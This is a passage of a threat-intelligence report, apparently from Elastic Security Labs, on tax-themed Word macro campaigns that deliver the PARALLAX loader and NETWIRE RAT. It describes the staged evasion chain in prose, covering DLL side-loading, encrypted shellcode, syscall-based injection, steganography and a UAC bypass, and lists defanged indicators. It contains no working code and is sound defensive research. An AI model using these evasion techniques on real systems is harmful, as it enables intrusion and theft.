<li>This malicious DLL drops and decrypts a WAV file ( <strong>cs16.wav</strong> ) before injecting the contents (shellcode) into <strong>cmd.exe</strong>.</li>
<li>The injected shellcode is used to extract the NETWIRE RAT and set up the PARALLAX loader from a dropped image ( <strong>paper.png</strong> ) and inject into <strong>cmd.exe.</strong></li>
<li>A scheduled task is used to establish persistence for the PARALLAX RAT.</li>
<li>The NETWIRE payload is then executed and sets up its own persistence mechanism.</li>
</ol>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltebe837d78e631eee/6a7c82432f00b21061ef8e77/image30.png" alt="Execution flow diagram" title="Execution flow diagram" /></p>
<h3 id="firststageluremacro">First Stage (lure/macro)</h3>
<p>The first stage in these campaigns involves macro-enabled lure documents typically with themes around United States tax filings.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3f5e6d67aba6873b/6a7c8247e88c65eeea005843/image9.jpg" alt="Image from lure document walking victim through enabling macros" title="Image from lure document walking victim through enabling macros" /></p>
<p>In this lure, we observed legitimate code lifted from the <a href="https://www.gnu.org/software/glpk/">GLPK</a> (GNU Linear Programming Kit) used to bypass static analysis of the macro. The malicious code is then interwoven within the macro making it look very genuine and more deceptive.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt75131a6ef85ab1d2/6a7c824ada3d05bfd1633d9d/image12.jpg" alt="Legitimate code from GLPK used in macro" title="Legitimate code from GLPK used in macro" /></p>
<p>This approach to obfuscation is also observed when critical components used for the next stage are not stored in the macro itself but called from text buried several pages deep within the lure document.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9892fe2c576191ae/6a7c824d2f00b2a8e3ef8e7b/image1.jpg" alt="Download components embedded as text" title="Download components embedded as text" /></p>
<p>The macro parses the embedded paragraph text on page three of the lure document and locates the object names and next stage components based on their string length. This is a clever technique to avoid detection based on static analysis of the macro (green text comments added to the images below by ESL for clarity).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt82b0d434229a4d76/6a7c8250fc63ab2bff646f4a/image25.jpg" alt="VBA code parsing" title="VBA code parsing" /></p>
<p>The macro then uses the <strong>CreateObject</strong> function to create the required objects and download each of the malware components, saving them to the <strong>AppData</strong> directory of the current user.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt73ff40be2e09a57d/6a7c82521967ea490432a872/image26.jpg" alt="VBA code to create objects" title="VBA code to create objects" /></p>
<p>It then executes <strong>AppData\MsiDb.exe</strong> through the created <strong>wscript.shell</strong> object.</p>
<p>For this observed lure, the five components that are downloaded for the next stage as identified in the embedded text image above are:</p>
<p>| Filename  | Description                                                                                                                     |
| --------- | ------------------------------------------------------------------------------------------------------------------------------- |
| MsiDb.exe | Legitimate Microsoft development application used to import/export database tables and streams                                  |
| msi.dll   | Malicious DLL used for side-loading                                                                                             |
| cs16.wav  | XOR encrypted shellcode                                                                                                         |
| paper.png | Obfuscated NETWIRE and additional PARALLAX loader stager                                                                        |
| cs16.cfg  | Configuration containing the location of the next execution stage png file, it can either be local or hosted in a remote server |</p>
<h3 id="secondstagemsidbexe">Second Stage (MsiDb.exe)</h3>
<p>One of the key strengths in these campaigns is its ability to bypass static detection by modifying legitimate DLLs, a common trend previously reported with the BLISTER loader analysis [<a href="https://www.elastic.co/security-labs/blister-loader">1</a>, <a href="https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign">2</a>]. Once all the components are retrieved, the macro executes the signed Microsoft development tool ( <strong>MsiDb.exe</strong> ) to load the previously downloaded malicious library ( <strong>msi.dll</strong> ).</p>
<p>When the campaign began in September of 2022, this DLL had zero detections in VirusTotal due to its DLL tampering technique where a slight modification of a benign function is overwritten with the second stage.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2a92286146ad1237/6a7c82557e9af918ce28cdd0/image35.jpg" alt="0 detection rate on initial upload in VirusTotal" title="0 detection rate on initial upload in VirusTotal" /></p>
<p>When ( <strong>MsiDb.exe</strong> ) sideloads the malicious ( <strong>msi.dll</strong> ) module, we can see the difference between the patched and unpatched version of <strong>msi.dll</strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt63e22dae38d4c902/6a7c82588fc2d013543e88f4/image36.jpg" alt="Comparison between the original and the patched msi.dll function" title="Comparison between the original and the patched msi.dll function" /></p>
<p>During this loading stage, the malicious code is heavily obfuscated and leverages <a href="https://unprotect.it/technique/api-obfuscation/">dynamic API resolution</a> to bypass static analysis tools and processes. It performs this using two functions:</p>
<ul>
<li>One function is used to retrieve library addresses using the CRC32 checksum hash of the requested library name.</li>
<li>Another function is used to take the address of the library and the hash of the API name.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltba97bea3738abe58/6a7c825b448e4e33335bab7a/image21.jpg" alt="Malicious code performing dynamic API resolution" title="Malicious code performing dynamic API resolution" /></p>
<p>The malware then builds its own import table, storing it on the stack. An interesting aspect is that the malicious code performs an anti-analysis check to see if the current process name matches the targeted application ( <strong>MsiDb.exe</strong> ), if it doesn’t match, the malware will stop at this stage. This check will hinder automated dynamic analysis systems that might try to analyze <strong>msi.dll</strong> in isolation by executing it with other common applications such as <strong>rundll32.exe</strong> or <strong>regsvr32.exe</strong>.</p>
<p>Next, the malware will load <strong>cs16.wav</strong> and XOR-decrypt it using a key embedded in the file. The key resides in the 200 bytes following the first 4 bytes of the file (bytes 5-204).</p>
<p>The malware will then execute the shellcode inside the decrypted WAV file.</p>
<h3 id="thirdstageshellcode">Third Stage (shellcode)</h3>
<p>To evade user mode hooks utilized by EDR/AV products and as debugger breakpoints, the malware uses direct system calls to low-level APIs used for process injection. It performs this by first <a href="https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping">mapping a file view</a> of the Windows <strong>ntdll.dll</strong> library from the System directory.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3906bdafc70f7c8c/6a7c825eead8ec3713ba493a/image40.jpg" alt="NTDLL mapping" title="NTDLL mapping" /></p>
<p>It then retrieves the API offset by subtracting the API address from the loaded base address of the loaded <strong>ntdll.dll</strong> , then finally it will use the offset from the mapped <strong>ntdll.dll</strong> and extract the syscall number.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdc2e333f7edb3902/6a7c8261bd219893fa7522aa/image23.jpg" alt="Extracting the syscall number" title="Extracting the syscall number" /></p>
<p>After this, the loader uses the <a href="https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/">Heaven’s Gate technique</a> and performs injection in the suspended <strong>cmd.exe</strong> process leveraging native Windows <strong>ZwAllocateVirtualMemory</strong> , <strong>ZwWriteVirtualMemory,</strong> and <strong>ZwResumeThread</strong> API functions.</p>
<h3 id="fourthstage">Fourth Stage</h3>
<p>One interesting technique observed during this stage is through the use of a dropped file ( <strong>cs16.cfg</strong> ). The file is a legitimate Python header file and is prepended with the next stage file name ( <strong>paper.png</strong> ). In our observations, these point to local files previously downloaded but also has the flexibility to point to hosted objects. This is another example of using benign code to obfuscate more malicious intent.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdf167bf540ef9af0/6a7c8264e02fac6c475d04f3/image20.jpg" alt="Prepending paper.png to cs16.cfg" title="Prepending paper.png to cs16.cfg" /></p>
<p>If the first string of ( <strong>cs16.cfg</strong> ) points to a hosted file, it uses the <a href="https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager"><strong>IBackgroundCopyManager</strong></a> Component Object Model (COM) interface to download a PNG file and store it on disk ( <strong>paper.png</strong> in our example).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7abcadb69156567b/6a7c826642a117e16d9560f8/image38.jpg" alt="Downloading the PNG file using BITS" title="Downloading the PNG file using BITS" /></p>
<p>The malware extracts a configuration structure from the stenographically-obfuscated PNG that contains the next PARALLAX loader stage and the final payload; in our sample, we identified the final payload as the NETWIRE RAT, but this process could be used to deliver other payloads.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1809dc59228c3f0c/6a7c8269da3d0581e8633da1/image7.jpg" alt="Stenographically obfuscated PNG file" title="Stenographically obfuscated PNG file" /></p>
<p>The malware executes position independent shellcode that reads and decodes the PNG file, it first extracts the red pixel bytes to an array by parsing the PNG, then decompresses the data with the <a href="https://www.winzip.com/en/learn/tips/what-is-lzma/">LZMA algorithm</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta269e6e19f8016fe/6a7c826cda3d054e73633da5/image33.jpg" alt="Decompressing PNG extracted data" title="Decompressing PNG extracted data" /></p>
<p>Next, it creates a suspended <strong>cmd.exe</strong> process and injects the NETWIRE payload and the last PARALLAX stage that will set up the environment and execute the NETWIRE payload.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt97cbeaf0db62989b/6a7c826fead8ec0118ba493e/image19.jpg" alt="Process tree of the malware’s execution" title="Process tree of the malware’s execution" /></p>
<p>Below is the memory regions showing the injected process hosting the NETWIRE payload:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt14777a568892e9d1/6a7c8271bdcff0062ec3d0ac/image22.jpg" alt="Injected NETWIRE payload in a cmd.exe process" title="Injected NETWIRE payload in a cmd.exe process" /></p>
<h3 id="fifthstage">Fifth Stage</h3>
<p>The fifth and final stage of PARALLAX Loader performs a UAC bypass through <strong>CMSTPLUA</strong> COM interface, a technique that has been used by ransomware-like LockBit, it then sets persistence on the system before executing the final payload by creating a scheduled task to run <strong>Msidb.exe</strong> using Component Object Model (COM).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt96e93a2d380665a4/6a7c8274fc63abe30d646f4e/image32.jpg" alt="Scheduled task to run MsiDb.exe" title="Scheduled task to run MsiDb.exe" /></p>
<h2 id="campaignanalysis">Campaign Analysis</h2>
<p>Throughout the analysis of the lure documents and malware families, we observed two campaigns associated with their TTPs, malware, network infrastructure, and lure metadata.</p>
<p>The intersections we observed allowed us to observe additional network infrastructure and identify the characteristics of one infrastructure owner in Campaign 1.</p>
<p>In the following sections, we will describe relevant elements and artifacts associated with each campaign, as well as their relationships.</p>
<p>This section will be focused on campaign intersections. As each campaign functioned similarly with respect to their technical implementation (lure document -\&gt; macro -\&gt; defense evasion techniques -\&gt; PARALLAX loader -\&gt; NETWIRE RAT), we’ll use the analysis of the five stages for the deployment of the PARALLAX and NETWIRE malware that has been described in detail in the previous Execution Flow section.</p>
<p>While we are not attributing these campaigns to any specific threat actor, we have identified parallel research leveraging the same TTPs that we observed. This research was attributed to the financially motivated threat group, Evilnum [<a href="https://attack.mitre.org/groups/G0120/">1</a>, <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum">2</a>] and the <a href="http://blog.nsfocus.net/darkcasino-apt-evilnum/">DarkCasino campaign</a>.</p>
<h3 id="campaign1">Campaign 1</h3>
<h4 id="overview">Overview</h4>
<p>This campaign is clustered by shared lure document metadata, network infrastructure, dropped macro, and malicious DLL ( <strong>msi.dll</strong> ) <strong>.</strong></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf7a0397d7ef55edf/6a7c82763ce8e222e1cef713/image28.jpg" alt="Campaign 1 node-link analysis" title="Campaign 1 node-link analysis" /></p>
<h4 id="luredocuments">Lure Documents</h4>
<p>The three lure documents used in Campaign 1 were all macro-embedded Microsoft Word documents. The documents were all 153 pages long, with the macro embedded on the 3rd page. The documents all included the H1 Word <a href="https://support.microsoft.com/en-us/office/add-a-heading-3eb8b917-56dc-4a17-891a-a026b2c790f2">document header</a> of <strong>Как я искал Гантмахера</strong> (loosely translated to: “How I searched for Gantmakher”). Vsevolod Gantmakher was a Russian physicist.</p>
<p>Extracting the metadata for all three documents, we can see their relationships based on several fields; most notably:</p>
<ul>
<li>The identical <strong>HeadingPairs</strong> (the names of the Word document header).</li>
<li>The identical <strong>CreationDate</strong> dates.</li>
<li>The identical <strong>LastPrinted</strong> dates.</li>
<li>The <strong>ModifyDate</strong> dates are all within 14-minutes.</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt583a029d2719ada1/6a7c82794c4bfb72bacc78d0/image17.jpg" alt="Campaign 1 lure document metadata" title="Campaign 1 lure document metadata" /></p>
<p>The H1 document header of the lure documents does not appear relevant to the targeting as the lure document names and lure document content are wholly unrelated: two of the three document names were related to 2021 United States tax filings, all three of the document names are in English, and the contents of the lure documents are in Cyrillic.</p>
<h4 id="macro">Macro</h4>
<p>The macro downloads five files, detailed in the Execution Flow section above <strong>(cs16.wav</strong>, <strong>msi.dll</strong> , <strong>MsiDb.exe</strong> , <strong>paper.png</strong> , and <strong>cs16.cfg</strong> ), from a different domain for each lure document.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt02a523854b10614e/6a7c827cfc63ab6639646f52/image2.jpg" alt="Campaign 1 macro-downloaded files" title="Campaign 1 macro-downloaded files" /></p>
<h4 id="networkinfrastructure">Network Infrastructure</h4>
<p>Campaign 1 included three domains contacted by the macro to download artifacts required for stages two through five (described in the “Execution Flow” section above) and three domains used for the NETWIRE RAT C2.</p>
<p>The six domains are:</p>
<ul>
<li>digitialrotprevention[.]com - macro-connected.</li>
<li>internationalmusicservices[.]com - macro-connected.</li>
<li>globalartisticservices[.]com - macro-connected.</li>
<li>ohioohioa[.]com - NETWIRE C2.</li>
<li>ywiyr[.]com - NETWIRE C2.</li>
<li>septton[.]com - NETWIRE C2.</li>
</ul>
<p>The macro-connected domains (digitialrotprevention[.]com, internationalmusicservices[.]com, and globalartisticservices[.]com) include metadata that has allowed us to cluster these three domains together in Campaign 1.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta327b5e3fc325833/6a7c827f73d9bd4e87297bf4/image29.jpg" alt="Campaign 1 network infrastructure" title="Campaign 1 network infrastructure" /></p>
<p>In the above image, the Admin email address and Admin user name is russnet123@protonmail[.]com and <strong>rus fam</strong> , respectively. As of this writing, these domains have been suspended.</p>
<blockquote>
  <p>Our research identified an additional domain, micsupportcenter[.]com that had the same Admin email address and Admin user name. The lure document included similar US tax document themes, macro elements, and TTPs; but we were unable to confirm that it was part of this campaign. This lure document was first observed in May of 2022 and is possibly part of a testing wave, but this is speculation. We are confident this is a malicious domain and are including it as an indicator artifact for this intrusion set, but not this campaign.</p>
</blockquote>
<p>Once the execution flow reaches the Fourth Stage (described in the Execution Flow section above), the final three domains (ohioohioa[.]com, ywiyr[.]com, and septton[.]com) act as ongoing command and control nodes for the NETWIRE RAT.</p>
<p>While ​​ohioohioa[.]com and ywiyr[.]com are protected by privacy services, septton[.]com has interesting metadata that we were able to collect and is outlined below in the SEPTTON Domain section below.</p>
<h4 id="campaign1indicators">Campaign 1 Indicators</h4>
<p>| Name                                                             | STIX 2.1 Indicator Type | Identifier                                        |
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- |
| bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256                 | Brian_Tax_Docs.doc lure document                  |
| d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256                 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document |
| 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256                 | All Docs.doc lure document                        |
| 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256                 | msi.dll PARALLAX loader / NETWIRE                 |
| 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256                 | cs16.wav (shellcode)                              |
| 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256                 | cs16.cfg (config for PNG stage)                   |
| 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256                 | paper.png (stager for NETWIRE)                    |
| globalartisticservices[.]com                                     | domain-name             | PARALLAX loader domain                            |
| DigitalRotPrevention[.]com                                       | domain-name             | PARALLAX loader domain                            |
| InternationalMusicServices[.]com                                 | domain-name             | PARALLAX loader domain                            |
| russnet123@protonmail[.]com                                      | email-addr              | PARALLAX loader domain registration email address |
| chisholm.i@aol[.]com                                             | email-addr              | NETWIRE C2 domain registration email address      |
| ywiry[.]com                                                      | domain-name             | NETWIRE C2 domain                                 |
| ohioohioa[.]com                                                  | domain-name             | NETWIRE C2 domain                                 |
| septton[.]com                                                    | domain-name             | NETWIRE C2 domain                                 |</p>
<h3 id="campaign2">Campaign 2</h3>
<h4 id="overview-1">Overview</h4>
<p>This campaign is clustered through its lure document metadata, network infrastructure, dropped macro, and malicious DLL ( <strong>msvcr100.dll</strong> ).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd6da52b1fc7c4971/6a7c8281ead8ec1525ba4942/image24.jpg" alt="Campaign 2 node-link analysis" title="Campaign 2 node-link analysis" /></p>
<h4 id="luredocuments-1">Lure Documents</h4>
<p>The lure document used in Campaign 2 is a macro-embedded Microsoft Word document. The document metadata differentiates it from Campaign 1 based on the <strong>LastModifiedBy</strong> field and the macro network infrastructure.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9bcdd90973c046ce/6a7c8284bd219864767522b0/image10.jpg" alt="Campaign 2 lure document metadata" title="Campaign 2 lure document metadata" /></p>
<p>The document name was also related to 2021 United States tax filings.</p>
<h4 id="macro-1">Macro</h4>
<p>Like Campaign 1, the macro downloads several files. Beyond the DLL file ( <strong>msvcr100.dll</strong> ), all files were offline before they could be collected. Based on the TTPs observed in this campaign, we assess with high confidence that they <strong>(java.exe</strong>, <strong>Fruit.png</strong> , <strong>idea.cfg</strong> , and <strong>idea.mp3</strong> ) function similarly to the files from Campaign 1 and detailed in the Execution Flow section above.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbd20b950c680a996/6a7c8287448e4e74c75bab7e/image13.jpg" alt="Campaign 2 macro-downloaded files" title="Campaign 2 macro-downloaded files" /></p>
<p>Additional details about the Campaign 1 and Campaign 2 file relationships are in the “Campaign intersections” section below.</p>
<h4 id="networkinfrastructure-1">Network Infrastructure</h4>
<p>Campaign 2 included one domain contacted by the macro to download artifacts required for stages two through five (described in detail in the “Execution Flow” section above). Additionally, there was one domain used for the NETWIRE RAT C2.</p>
<p>The two domains are:</p>
<ul>
<li>solro14.s3.ap-northeast-3.amazonaws[.]com - macro-connected</li>
<li>ohioohioa[.]com - NETWIRE C2</li>
</ul>
<p>Once the execution flow reaches stage four, ohioohioa[.]com acts as the ongoing command and control node for the NETWIRE RAT.</p>
<h4 id="campaign2indicators">Campaign 2 Indicators</h4>
<p>| Name                                                             | STIX 2.1 Indicator Type | Identifier                                 |
| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------ |
| solro14.s3.ap-northeast-3.amazonaws[.]com                        | domain-name             | PARALLAX loader domain                     |
| 32fc0d1ad678133c7ae456ecf66c3fcf97e43abc2fdfce3ad3dce66af4841f35 | SHA-256                 | 2021-Individual-Tax-Form.doc lure document |
| 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256                 | msvcr100.dll PARALLAX loader / NETWIRE     |
| ohioohioa[.]com                                                  | domain-name             | NETWIRE C2 domain                          |</p>
<h2 id="campaignintersections">Campaign Intersections</h2>
<p>Campaign 1 and Campaign 2 intersect in several ways.</p>
<p>As illustrated in the image below, each campaign relied on a lure document (or documents) to execute a macro that contacted adversary-owned or controlled domains; downloaded artifacts used to install and protect the PARALLAX and NETWIRE RAT implants. Additionally, in both campaigns we analyzed, there is a shared network infrastructure used for the NETWIRE C2.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb89c1929c9b5d3dc/6a7c828a80ee38486c60d153/image16.jpg" alt="Campaign 1 and Campaign 2 intersections" title="Campaign 1 and Campaign 2 intersections" /></p>
<h3 id="thepyramidofpain">The Pyramid of Pain</h3>
<p>In 2013 (and updated in 2014), security researcher David Bianco released an analytical model called the <a href="http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html">Pyramid of Pain</a>. The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, the identification of hash values is useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt019bec6386359956/6a7c828cc2cc092889243392/image4.jpg" alt="The Pyramid of Pain" title="The Pyramid of Pain" /></p>
<p>The goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of "pain") you can inflict.</p>
<p>When analyzing the two campaigns, we can put the Pyramid of Pain into action.</p>
<ul>
<li><p><strong>Hash values</strong> - each lure document had a unique hash.</p></li>
<li><p><strong>IP addresses</strong> - each network connection leveraged a different IP address.</p></li>
<li><p><strong>Domain names</strong> - each network connection leveraged exclusive domains for the macro components but shared a NETWIRE C2 domain (ohioohioa[.]com).</p></li>
<li><p><strong>Network/host artifacts</strong></p></li>
<li><p>Identically-named host artifacts observed in Campaign 1.</p></li>
<li><p>Renamed from Campaign 1, but functionally identical, host artifacts observed in Campaign 2.</p></li>
<li><p>Artifact bundles from both campaigns include similarly formatted and functionally identical files.</p></li>
<li><p><strong>Tools</strong> - macro-enabled Word document lures, and PARALLAX and NETWIRE RATs.</p></li>
<li><p><strong>TTPs</strong> - complex and defensive five-staged execution chain.</p></li>
</ul>
<p>Looking across both campaigns, we can see there is some shared infrastructure at the Domain Names tier in the NETWIRE C2 domain (ohioohioa[.]com). In the Network/host artifacts tier we can see additional intersections between the campaigns.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta211093b61093f6c/6a7c828f7e9af9e27828cdd4/image3.jpg" alt="Network/host artifacts" title="Network/host artifacts" /></p>
<p>In both campaigns, we can see a PE file ( <strong>MsiDb.exe</strong> and <strong>java.exe</strong> ), a DLL file ( <strong>msi.dll</strong> and <strong>msvcr100.dll</strong> ), a PNG file ( <strong>paper.png</strong> and <strong>Fruit.png</strong> ), an audio-format named file ( <strong>cs16.wav</strong> and <strong>idea.mp3</strong> ), and a configuration file ( <strong>cs16.cfg</strong> and <strong>idea.cfg</strong> ) at the Network/host artifact tier. All downloaded files in Campaign 1 are named the same across all three lure documents. In both campaigns, the audio-format named files have the same base name as the configuration files ( <strong>cs16.wav</strong> / <strong>cs16.cfg</strong> and <strong>idea.mp3</strong> / <strong>idea.cfg</strong> ). In both campaigns, we assess with high confidence that all host artifacts are functionally identical as described in the Execution Flow section above.</p>
<h2 id="thesepttondomain">The SEPTTON Domain</h2>
<p>As reported in the Campaign 1 section, most of the network infrastructure was either well-used across multiple intrusions unrelated to our campaigns or protected by domain privacy services.</p>
<p>An exception to that is the seppton[.]com domain, which was used as the C2 node for a NETWIRE RAT implant in our sampling. Continuing to analyze this domain, we observed several other associated malicious files. While we did not independently verify the family of malware that is communicating with this domain, signature names in VirusTotal include NETWIRE.</p>
<blockquote>
  <p>It should be noted that signature names in VirusTotal alone do not present enough information to provide a high-confidence conviction of a malware sample to a malware family.</p>
</blockquote>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2018cb9ae7697399/6a8840a924219019813d9ac7/image5.jpg" title="septton[.]com file relationships">septton[.]com file relationships</a></p>
<p>Looking through the registration information for the domain, we observed two elements of note, both email addresses - marketforce666@yandex[.]com and chisholm.i@aol[.]com.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt34d6896295ae3f28/6a8840ad7b5c20ec507340bb/image37.jpg" title="septton[.]com domain registration">septton[.]com domain registration</a></p>
<p>In the next two sections, we’ll discuss the resource development for domains used in campaigns.</p>
<h3 id="marketforce666">marketforce666</h3>
<p>Searching for <strong>marketforce666</strong> in a search engine did not return results of value from the United States; however, when changing to an Internet egress point within Russia and using the Yandex search engine (Yandex is a Russian Internet services provider), we identified 802 results that show this term has been associated with multiple abuse reports.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2a8dcb355fa53a11/6a7c829133fa8a2c801fc927/image18.jpg" alt="marketforce666 Yandex search engine results" title="marketforce666 Yandex search engine results" /></p>
<p>When expanding our search for domains registered by marketforce666@yandex[.]com, we identified three additional domains. We did not observe these additional domains in our campaigns, but we are including them as indicator artifacts. Below are the four total domains (one from Campaign 1 and three additional) that were registered by, either as the admin, tech, or registrant address, marketforce666@yandex[.]com.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc95ba2c42ed9c339/6a8840b033f24443024a5ead/image31.jpg">Domains registered to marketforce666@yandex[.]com</a></p>
<h3 id="gaza666">gaza666</h3>
<p>Looking at the other email address, chisholm.i@aol[.]com, we were able to connect this email address with a moniker of <strong>gaza666</strong> from the online forum and marketplace, Infected Zone.</p>
<p>On this forum, the user <strong>gaza666</strong> attempted to purchase (<code>https://infected-zone[.]com/threads/2814/</code>) an “Office 365 Complete Package” from the online seller <strong>rzkyo</strong>. <strong>gaza666</strong> and the seller <strong>rzkyo</strong> engaged in a dispute on the forum where <strong>gaza666</strong> did not believe they received what they purchased - which was a package for email spamming and four United States Office 365 accounts but received three nonfunctional and non-Office 365 Phillipino accounts. The seller, <strong>rzkyo</strong> , responded and the two debated what was purchased and what was delivered. The dispute was responded to by a moderator who attempted to resolve the issue.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb00e3fa78eacc622/6a7c8294b437702de04d1029/image15.png" alt="Invoice email where gaza666 purchased infrastructure from rzkyo" title="Invoice email where gaza666 purchased infrastructure from rzkyo" /></p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt32e7a21b5f58516b/6a8840b43e4fd5545c19d09e/image14.png">Invoice where gaza666 is linked to chisholm.i@aol[.]com</a></p>
<p>The results of the dispute were not in the forum, but there were several screenshots where <strong>rzkyo</strong> showed <strong>gaza666</strong> and the moderators that the services they sold were functional.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1cc5fe6416548571/6a7c829773d9bda1ee297bf8/image27.png" alt="SMTP credentials from rzkyo to gaza666" title="SMTP credentials from rzkyo to gaza666" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt31c87642d23cdea3/6a7c829a4c4bfb5a35cc78d4/image34.png" alt="Setup of online SMTP testing service" title="Setup of online SMTP testing service" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2d4fd3dd3f7bbf3b/6a7c829dfc63ab9fb0646f56/image11.png" alt="Test from email spam accounts purchased from rzkyo" title="Test from email spam accounts purchased from rzkyo" /></p>
<p>While it is unknown if the infrastructure above that <strong>gaza666</strong> attempted to purchase from <strong>rzkyo</strong> was used in our observed campaigns (or ever used at all), but <strong>gaza666</strong> is associated with chisholm.i@aol[.]com, which was used to register septton[.]com, and septton[.]com was used as a NETWIRE C2 node in Campaign 1.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4cb91c7dad4cdc6c/6a7c82a0ead8ec4defba4946/image39.jpg" alt="gaza666 involvement in NETWIRE C2 in Campaign 1" title="gaza666 involvement in NETWIRE C2 in Campaign 1" /></p>
<p><strong>marketforce666</strong> (marketforce666@yandex[.]com) and <strong>gaza666</strong> (chisholm.i@aol[.]com) share a relationship in that both emails were used in the registration of septton[.]com, which was used as a NETWIRE C2 domain for Campaign 1. The <strong>666</strong> term appended to <strong>marketforce</strong> and <strong>gaza</strong> could be another indicator of their relationship, but this could not be confirmed.</p>
<h2 id="diamondmodel">Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries and victims of intrusions.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6a1407659d33dfd0/6a7c82a2de23151dd9fd1e0a/image8.png" alt="REF2731 diamond model" title="REF2731 diamond model" /></p>
<h2 id="observedadversarytacticsandtechniques">Observed Adversary Tactics and Techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0042/">Resource Development</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3 id="techniquessubtechniques">Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
